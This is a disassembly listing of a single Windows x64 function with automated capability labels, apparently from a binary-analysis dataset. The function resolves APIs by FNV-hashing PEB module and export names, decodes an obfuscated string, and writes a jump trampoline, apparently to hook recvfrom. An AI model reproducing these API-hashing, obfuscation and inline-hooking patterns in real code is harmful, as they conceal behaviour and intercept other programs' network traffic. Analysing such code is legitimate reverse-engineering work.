Function at 0x14000bee0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x14012b240]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov qword [rbp + 0x1f], r8
mov qword [rbp - 0x29], rcx
test r8, r8
je 0x14000c2cf
xor r12d, r12d
mov r15d, 0x21c89ba6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14000c127
cmp word [rax + 0x48], 0
je 0x14000c127
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r12d, r12d
je 0x14000bfc3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x1fa2eb56
cmp r9, r11
je 0x14000bfba
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14000bf90
cmp r10d, r12d
jne 0x14000c127
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov esi, edx
add rsi, rdi
cmp rsi, rdi
je 0x14000c127
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000c127
mov r8d, dword [rsi + 0x1c]
add r8, rdi
mov qword [rbp - 0x21], r8
mov ecx, dword [rsi + 0x24]
add rcx, rdi
mov qword [rbp - 0x19], rcx
mov r9d, dword [rsi + 0x20]
nop word [rax + rax]
dec r11d
movzx ecx, word [rcx + r11*2]
mov ebx, dword [r8 + rcx*4]
add rbx, rdi
lea rcx, [r9 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
cmp rbx, rsi
jbe 0x14000c03d
lea rcx, [rsi + r13]
cmp rbx, rcx
jae 0x14000c03d
mov r14b, 1
jmp 0x14000c040
xor r14b, r14b
mov r10d, 0x1fa2eb56
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14000c07d
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14000c052
cmp r10d, r15d
je 0x14000c09f
test r11d, r11d
mov r8, qword [rbp - 0x21]
mov rcx, qword [rbp - 0x19]
mov r9d, dword [rsi + 0x20]
jne 0x14000c010
mov rax, qword [rax]
jmp 0x14000bf40
test r14b, r14b
je 0x14000c12f
mov r12d, 0x1fa2eb56
mov r15d, r12d
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14000c0e6
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14000c0c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14000c116
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14000c0f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14000bf40
test rbx, rbx
je 0x14000c2cf
mov word [rbp + 0xf], 0xb848
mov word [rbp + 0x19], 0xe0ff
mov rax, qword [rbp + 0x1f]
mov qword [rbp + 0x11], rax
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401e4ab8], eax
jle 0x14000c257
lea rcx, [0x1401e4ab8]
call fcn.1400cf7f0
cmp dword [0x1401e4ab8], 0xffffffff
jne 0x14000c257
mov dword [rbp - 0x49], 0x274b315e
mov dword [rbp - 0x45], 0x242a4824
mov word [rbp - 0x41], 0x9521
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x3f], xmm0
mov dword [rbp - 0x2f], eax
mov byte [rbp - 0x2b], al
movabs r11, 0x25b1c5722fc0df6a
mov r9, r11
lea rax, [rbp - 0x49]
sub r9, rax
xor r10d, r10d
nop
lea r8, [rbp - 0x49]
add r8, r10
movzx edx, byte [r8]
lea rax, [r8 + r9]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r11
add rcx, r10
add cl, 0x1a
mov byte [r8], cl
inc r10
cmp r10, 0x1f
jb 0x14000c1c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
lea rax, [rbp - 0x49]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c210
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x11]
call fcn.14000dc50
nop
lea r8, [rbp - 0x11]
mov rdi, qword [rbp - 0x29]
mov rcx, rdi
call fcn.1400054c0
mov qword [0x1401e4a60], rax
lea rcx, [rbp - 0x11]
call fcn.14000b050
nop
lea rcx, [0x1401e4ab8]
call fcn.1400cf784
jmp 0x14000c25b
mov rdi, qword [rbp - 0x29]
mov r8, qword [0x1401e4a60]
test r8, r8
je 0x14000c2cf
mov r9d, recvfrom
lea rdx, [rbp + 0x1f]
mov rcx, rdi
call fcn.140004970
test al, al
je 0x14000c2cf
movzx eax, byte [rbp + 0xf]
cmp byte [rbp + 0x1f], al
jne 0x14000c2a1
movzx eax, byte [rbp + 0x10]
cmp byte [rbp + 0x20], al
jne 0x14000c2a1
movzx eax, byte [rbp + 0x19]
cmp byte [rbp + 0x29], al
jne 0x14000c2a1
movzx eax, byte [rbp + 0x1a]
cmp byte [rbp + 0x2a], al
je 0x14000c2cf
lea r8, [rbp + 0xf]
mov rdx, qword [0x1401e4a60]
mov rcx, rdi
call fcn.140004a20
test al, al
je 0x14000c2cf
call rbx
lea r8, [rbp + 0x1f]
mov rdx, qword [0x1401e4a60]
mov rcx, rdi
call fcn.140004a20
jmp 0x14000c2d1
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400cf720
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret